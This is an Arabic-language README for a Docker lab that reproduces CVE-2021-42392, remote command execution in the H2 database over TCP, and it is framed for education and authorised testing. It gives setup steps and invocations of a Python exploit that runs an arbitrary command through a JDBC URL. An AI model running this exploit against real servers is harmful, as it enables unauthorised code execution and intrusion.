
بيئة مختبرية خاضعة للرقابة لاختبار ثغرة CVE-2021-42392 في قاعدة بيانات H2 (RCE عبر TCP). يتضمن خادم H2 ضعيفًا، وسكريبت استغلال بلغة Python، وإعداد Docker للاختبارات الاختراقية الأخلاقية والتعليم.
هذا المستودع يوفر بيئة محدودة ومتحكم بها لاختبار ثغرة تنفيذ الأوامر عن بُعد في قاعدة بيانات H2 (CVE-2021-42392) باستخدام خاصية CREATE ALIAS. على عكس العديد من العروض التوضيحية، يستهدف هذا الاستغلال خدمة H2 TCP مباشرة (عادة على المنفذ 9092)، دون الاعتماد على وحدة تحكم H2 الويب.
🛑 لأغراض تعليمية واختبارية فقط. لا تستخدمه على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
CVE-2021-42392 هي ثغرة حرجة في إصدارات قاعدة بيانات H2 السابقة للإصدار 2.0.206 تسمح بتنفيذ الأوامر عن بُعد عبر CREATE ALIAS إذا كانت قاعدة البيانات مكشوفة عبر TCP أو عبر وحدة التحكم الويب.
يتضمن هذا المشروع:
2.0.202jaydebeapi و JPypeمع Docker:
إذا كان تشغيل الاستغلال خارج Docker:
git clone https://github.com/Be-Innova/CVE-2021-42392-exploit-lab
cd h2-cve-2021-42392-poc
docker compose build
docker compose up -d
docker compose exec client bash
python3 h2_exploit.py --url jdbc:h2:tcp://h2-vulnerable\:9092/~/test --cmd "touch /tmp/pwned" --jar /jars/h2.jar
python3 h2_exploit.py --url <jdbc-url> --cmd "<command>" --jar "path-to-jar"
الوسائط:
--url: عنوان JDBC لنسخة H2 الضعيفة (مثال: jdbc:h2:tcp://192.168.1.100\:9092/~/test)
--cmd: الأمر المطلوب تنفيذه على الخادم الضعيف
--jar: مسار اختياري لملف JAR لمشغل H2 (الافتراضي: /jars/h2.jar)
9092 مفتوح لقاعدة بيانات H2 الضعيفةjavac على الخادم الذي يشغل قاعدة البيانات الضعيفةهذا الكود موفر كما هو لأغراض تعليمية واختبار الاختراق الأخلاقي في بيئات معزولة. لا تستخدمه على أنظمة غير مصرح بها. المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام.